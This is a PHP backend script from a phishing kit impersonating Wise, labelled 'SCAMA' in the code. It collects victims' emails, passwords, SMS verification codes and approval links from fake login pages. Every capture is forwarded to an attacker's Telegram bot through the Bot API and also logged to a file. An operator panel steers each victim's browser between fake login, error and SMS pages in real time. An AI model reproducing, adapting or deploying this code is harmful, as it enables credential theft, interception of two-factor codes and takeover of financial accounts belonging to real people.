<?php
    // Start a session to store data across requests
    session_start(); 

    // Disable error reporting to prevent displaying errors to users
    error_reporting(0);

    require("../../libraries/UserInfo.php");
    require_once('../../libraries/geoplugin.class.php');
    include '../../setting/functions.php';  

    $geoplugin = new geoPlugin();
    $geoplugin->locate();
    $ip = get_client_ip();

    $link_panel = $_SESSION["panel_control"];
    $bot_url  = TOKEN;
    $chat_id  = CHATID;
    $host = $link_panel;
    
    $keyboard = json_encode([
        "inline_keyboard" => [

                [
                    [
                        "text" => '🕹 PaneL Control For  : [ ' . get_client_ip() . " - " . $geoplugin->countryCode.' ]',
                        "url" => "$link_panel"
                    ]
    
                ],
        ]
    ]);

    if($_SERVER['REQUEST_METHOD'] === 'POST'){

        if($_POST['step'] === 'login'){
            $jsonFilePath = "./user-action/data.json";

            $json_data = file_get_contents($jsonFilePath);

            $user_data = json_decode($json_data, true);

            $user_data['redirect_user'] = " ";

            $updated_json_data = json_encode($user_data);

            file_put_contents($jsonFilePath, $updated_json_data);

            if (isset($_POST['send_data_1'])) {
                // Info User :
                $email = $_POST['email'];
                $password = $_POST['password'];

                // Send Data To Telegram Bot :
                $message =
                "🔐—————————— [ Login WISE ] ——————————🔐\r\n".
                "[ Email ] " . $email ."\r\n".
                "[ Password ] " . $password ."\r\n".
                "📍IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "🔐—————————— [ Login WISE ] ——————————🔐\r\n";

                $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard
                );
            
                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);

                $message_to_file = 
                "—————————— [ Login WISE ] ——————————\r\n".
                "[ Email ] " . $email ."\r\n".
                "[ Password ] " . $password ."\r\n".
                "IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "—————————— [ Login WISE ] ——————————\r\n";

                $file = fopen("../../file/file.txt", "a");
                fwrite($file, $message_to_file. "\n");
                fclose($file);
            }
            
            header('Location: ../pages/loading.php');
        }
        elseif($_POST['step'] === 'login-error'){
            $jsonFilePath = "./user-action/data.json";

            $json_data = file_get_contents($jsonFilePath);

            $user_data = json_decode($json_data, true);

            $user_data['redirect_user'] = " ";

            $updated_json_data = json_encode($user_data);

            file_put_contents($jsonFilePath, $updated_json_data);

            if (isset($_POST['send_data_2'])) {
                // Info User :
                $email = $_POST['email'];
                $password = $_POST['password'];

                // Send Data To Telegram Bot :
                $message =
                "🔐—————————— [ Login WISE ERROR ] ——————————🔐\r\n".
                "[ Email ] " . $email ."\r\n".
                "[ Password ] " . $password ."\r\n".
                "📍IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "🔐—————————— [ Login WISE ERROR ] ——————————🔐\r\n";

                $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard
                );
            
                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);

                $message_to_file = 
                "—————————— [ Login WISE ERROR ] ——————————\r\n".
                "[ Email ] " . $email ."\r\n".
                "[ Password ] " . $password ."\r\n".
                "IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "—————————— [ Login WISE ERROR ] ——————————\r\n";

                $file = fopen("../../file/file.txt", "a");
                fwrite($file, $message_to_file. "\n");
                fclose($file);
            }

            header('Location: ../pages/loading.php');

        }
        elseif($_POST['step'] === 'sms'){
            $jsonFilePath = "./user-action/data.json";

            $json_data = file_get_contents($jsonFilePath);

            $user_data = json_decode($json_data, true);

            $user_data['redirect_user'] = " ";

            $updated_json_data = json_encode($user_data);

            file_put_contents($jsonFilePath, $updated_json_data);

            if (isset($_POST['send_data_3'])) {
                // Info User :
                $mss = $_POST['mss'];
                
                // Send Data To Telegram Bot :
                $message = 
                "📲—————————— [ Code SMS ] ——————————📲\r\n".
                "[ Code SMS ] " . $mss ."\r\n".
                "📍IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "📲—————————— [ Code SMS ] ——————————📲\r\n";

                $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard
                );
            
                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);

                $message_to_file = 
                "|—————————— [ Code SMS ] ——————————|\r\n".
                "[ Code SMS ] " . $mss ."\r\n".
                "IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "|—————————— [ Code SMS ] ——————————|\r\n";

                $file = fopen("../../file/file.txt", "a");
                fwrite($file, $message_to_file. "\n");
                fclose($file);
            }

            header('Location: ../pages/loading.php');

        } 
        elseif($_POST['step'] === 'sms-error'){
            $target = $_POST['ip'];
            $jsonFilePath = "./user-action/data.json";

            $json_data = file_get_contents($jsonFilePath);

            $user_data = json_decode($json_data, true);

            $user_data['redirect_user'] = " ";

            $updated_json_data = json_encode($user_data);

            file_put_contents($jsonFilePath, $updated_json_data);

            if (isset($_POST['send_data_4'])) {
               // Info User :
               $mss = $_POST['mss'];
                
               // Send Data To Telegram Bot :
               $message =
               "📲—————————— [ ERROR Code SMS ] ——————————📲\r\n".
               "[ Code SMS ] " . $mss ."\r\n".
               "📍IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
               "📲—————————— [ ERROR Code SMS ] ——————————📲\r\n";

                $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard
                );
            
                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);

               $message_to_file = 
               "|—————————— [ ERROR Code SMS ] ——————————|\r\n".
               "[ Code SMS ] " . $mss ."\r\n".
               "IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
               "|—————————— [ ERROR Code SMS ] ——————————|\r\n";

               $file = fopen("../../file/file.txt", "a");
               fwrite($file, $message_to_file. "\n");
               fclose($file);
            }

            header('Location: ../pages/loading.php');
        }
        elseif($_POST['step'] === 'approve-form-email'){
            $jsonFilePath = "./user-action/data.json";

            $json_data = file_get_contents($jsonFilePath);

            $user_data = json_decode($json_data, true);

            $user_data['redirect_user'] = " ";

            $updated_json_data = json_encode($user_data);

            file_put_contents($jsonFilePath, $updated_json_data);

            if(isset($_POST['send_data_5'])) {
                $status = "User Click Continue From Page (APPROVE EMAIL)";
                $link = $_POST['link'];
                // Send Data To Telegram Bot :
                $message =
                "📲=========[ Page (APPROVE EMAIL) ]=========📲\r\n".
                "[ Status ] " . $status ."\r\n".
                "[ Link APPROVE ] " . $link ."\r\n".
                "📍IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "📲=========[ Page (APPROVE EMAIL) ]=========📲\\r\n";

                $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard
                );
            
                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);
                
                $message_to_file = 
                "=========[ Page (APPROVE EMAIL) ]=========\r\n".
                "[ Status ] " . $status ."\r\n".
                "[ Link APPROVE ] " . $link ."\r\n".
                "IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "=========[ Page (APPROVE EMAIL) ]=========\\r\n";
                
                $file = fopen("../../file/file.txt", "a");
                fwrite($file, $message_to_file. "\n");
                fclose($file);
            }
            header('Location: ../pages/loading.php');
            
        }
        elseif($_POST['step'] === 'approve-form-email-error'){
            $jsonFilePath = "./user-action/data.json";

            $json_data = file_get_contents($jsonFilePath);

            $user_data = json_decode($json_data, true);

            $user_data['redirect_user'] = " ";

            $updated_json_data = json_encode($user_data);

            file_put_contents($jsonFilePath, $updated_json_data);

            if(isset($_POST['send_data_6'])) {
                $status = "User Click Continue From Page Error (APPROVE EMAIL)";
                $link = $_POST['link'];
                // Send Data To Telegram Bot :
                $message = 
                "📲=========[ Page ERROR (APPROVE EMAIL) ]=========📲\r\n".
                "[ Status ] " . $status ."\r\n".
                "[ Link APPROVE ] " . $link ."\r\n".
                "📍IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "📲=========[ Page ERROR (APPROVE EMAIL) ]=========📲\\r\n";

                $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard
                );
            
                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);
                
                $message_to_file = 
                "=========[ Page ERROR (APPROVE EMAIL) ]=========\r\n".
                "[ Status ] " . $status ."\r\n".
                "[ Link APPROVE ] " . $link ."\r\n".
                "IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "=========[ Page ERROR (APPROVE EMAIL) ]=========\\r\n";
                
                $file = fopen("../../file/file.txt", "a");
                fwrite($file, $message_to_file. "\n");
                fclose($file);
            }
            header('Location: ../pages/loading.php');
            
        }
        elseif($_POST['step'] === 'email-linked'){
            $jsonFilePath = "./user-action/data.json";

            $json_data = file_get_contents($jsonFilePath);

            $user_data = json_decode($json_data, true);

            $user_data['redirect_user'] = " ";

            $updated_json_data = json_encode($user_data);

            file_put_contents($jsonFilePath, $updated_json_data);

            if (isset($_POST['send_data_7'])) {
                // Info User :
                $email = $_POST['email'];
                $password = $_POST['password'];

                // Send Data To Telegram Bot :
                $message =
                "🔐—————————— [ Info Email Link WISE ] ——————————🔐\r\n".
                "[ Email ] " . $email ."\r\n".
                "[ Password ] " . $password ."\r\n".
                "📍IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "🔐—————————— [ Info Email Link WISE ] ——————————🔐\r\n";

                $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard
                );
            
                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);

                $message_to_file = 
                "—————————— [ Info Email Link WISE ] ——————————\r\n".
                "[ Email ] " . $email ."\r\n".
                "[ Password ] " . $password ."\r\n".
                "IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "—————————— [ Info Email Link WISE ] ——————————\r\n";

                $file = fopen("../../file/file.txt", "a");
                fwrite($file, $message_to_file. "\n");
                fclose($file);
            }
            
            header('Location: ../pages/loading.php');
        }
        elseif($_POST['step'] === 'email-linked-error'){
            $jsonFilePath = "./user-action/data.json";

            $json_data = file_get_contents($jsonFilePath);

            $user_data = json_decode($json_data, true);

            $user_data['redirect_user'] = " ";

            $updated_json_data = json_encode($user_data);

            file_put_contents($jsonFilePath, $updated_json_data);

            if (isset($_POST['send_data_8'])) {
                // Info User :
                $email = $_POST['email'];
                $password = $_POST['password'];

                // Send Data To Telegram Bot :
                $message = 
                "🔐—————————— [ Info Email Link WISE ERROR ] ——————————🔐\r\n".
                "[ Email ] " . $email ."\r\n".
                "[ Password ] " . $password ."\r\n".
                "📍IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "🔐—————————— [ Info Email Link WISE ERROR ] ——————————🔐\r\n";

                $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard
                );
            
                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);

                $message_to_file = 
                "—————————— [ Info Email Link WISE ERROR ] ——————————\r\n".
                "[ Email ] " . $email ."\r\n".
                "[ Password ] " . $password ."\r\n".
                "IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "—————————— [ Info Email Link WISE ERROR ] ——————————\r\n";

                $file = fopen("../../file/file.txt", "a");
                fwrite($file, $message_to_file. "\n");
                fclose($file);
            }

            header('Location: ../pages/loading.php');

        }
        elseif($_POST['step'] === 'confirmed'){
            $target = $_POST['ip'];

            $jsonFilePath = "./user-action/data.json";

            $json_data = file_get_contents($jsonFilePath);

            $user_data = json_decode($json_data, true);

            $user_data['redirect_user'] = " ";

            $updated_json_data = json_encode($user_data);

            file_put_contents($jsonFilePath, $updated_json_data);
            if(isset($_POST['send_data_9'])) {
                $status = "Thanks Page End Step";

                // Send Data To Telegram Bot :
                $message = 
                "💸💶—————————— [ Current Page User ] ——————————💸💶\r\n".
                "[ Status ] " . $status ."\r\n".
                "📍IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "💸💶—————————— [ Current Page User  ] ——————————💸💶\r\n";

                $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard
                );
            
                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);
                
                $message_to_file = 
                "|——————————[ Current Page User ]——————————|\r\n".
                "[ Status ] " . $status ."\r\n".
                "IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "|——————————[ Current Page User  ]——————————|\r\n";
                
                $file = fopen("../../file/file.txt", "a");
                fwrite($file, $message_to_file. "\n");
                fclose($file);
            }
            header('Location: ../pages/loading.php');
            
        }
        elseif($_POST['step'] === 'panel'){

            if($_POST['to'] === 'login'){

                $jsonFilePath = "./user-action/data.json";

                $json_data = file_get_contents($jsonFilePath);

                $user_data = json_decode($json_data, true);

                $user_data['redirect_user'] = "login"; 

                $updated_json_data = json_encode($user_data);

                file_put_contents($jsonFilePath, $updated_json_data);

            }
            elseif($_POST['to'] === 'login-error'){

                $jsonFilePath = "./user-action/data.json";

                $json_data = file_get_contents($jsonFilePath);

                $user_data = json_decode($json_data, true);

                $user_data['redirect_user'] = "login-error"; 

                $updated_json_data = json_encode($user_data);

                file_put_contents($jsonFilePath, $updated_json_data);

            }
            elseif($_POST['to'] === 'sms'){

                $jsonFilePath = "./user-action/data.json";

                $json_data = file_get_contents($jsonFilePath);

                $user_data = json_decode($json_data, true);

                $user_data['redirect_user'] = "sms"; 

                $updated_json_data = json_encode($user_data);

                file_put_contents($jsonFilePath, $updated_json_data);

            }
            elseif($_POST['to'] === 'sms-error'){

                $jsonFilePath = "./user-action/data.json";

                $json_data = file_get_contents($jsonFilePath);

                $user_data = json_decode($json_data, true);

                $user_data['redirect_user'] = "sms-error"; 

                $updated_json_data = json_encode($user_data);

                file_put_contents($jsonFilePath, $updated_json_data);
                
            }
            elseif($_POST['to'] === 'approve-form-email'){

                $jsonFilePath = "./user-action/data.json";

                $json_data = file_get_contents($jsonFilePath);

                $user_data = json_decode($json_data, true);

                $user_data['redirect_user'] = "approve-form-email"; 

                $updated_json_data = json_encode($user_data);

                file_put_contents($jsonFilePath, $updated_json_data);

            }
            elseif($_POST['to'] === 'approve-form-email-error'){

                $jsonFilePath = "./user-action/data.json";

                $json_data = file_get_contents($jsonFilePath);

                $user_data = json_decode($json_data, true);

                $user_data['redirect_user'] = "approve-form-email-error"; 

                $updated_json_data = json_encode($user_data);

                file_put_contents($jsonFilePath, $updated_json_data);
                
            }
            elseif($_POST['to'] === 'email-linked'){


                $jsonFilePath = "./user-action/data.json";

                $json_data = file_get_contents($jsonFilePath);

                $user_data = json_decode($json_data, true);

                $user_data['redirect_user'] = "email-linked"; 

                $updated_json_data = json_encode($user_data);

                file_put_contents($jsonFilePath, $updated_json_data);

            }
            elseif($_POST['to'] === 'email-linked-error'){


                $jsonFilePath = "./user-action/data.json";

                $json_data = file_get_contents($jsonFilePath);

                $user_data = json_decode($json_data, true);

                $user_data['redirect_user'] = "email-linked-error"; 

                $updated_json_data = json_encode($user_data);

                file_put_contents($jsonFilePath, $updated_json_data);
                
            }
            elseif($_POST['to'] === 'confirmed'){

                $jsonFilePath = "./user-action/data.json";

                $json_data = file_get_contents($jsonFilePath);

                $user_data = json_decode($json_data, true);

                $user_data['redirect_user'] = "confirmed"; 

                $updated_json_data = json_encode($user_data);

                file_put_contents($jsonFilePath, $updated_json_data);
                
            }
            elseif($_POST['to'] === 'logout'){

                $jsonFilePath = "./user-action/data.json";

                $json_data = file_get_contents($jsonFilePath);

                $user_data = json_decode($json_data, true);

                $user_data['redirect_user'] = "logout"; 
                $user_data['current_page'] = "User Is Logout From SCAMA"; 
                $user_data['userStatus'] = "<span class='offline'></span>"; 

                $updated_json_data = json_encode($user_data);

                file_put_contents($jsonFilePath, $updated_json_data);
            }
            header('Location: ./panel.php');
        }

    } else {
        header('Location: ../index.php');
    }
?>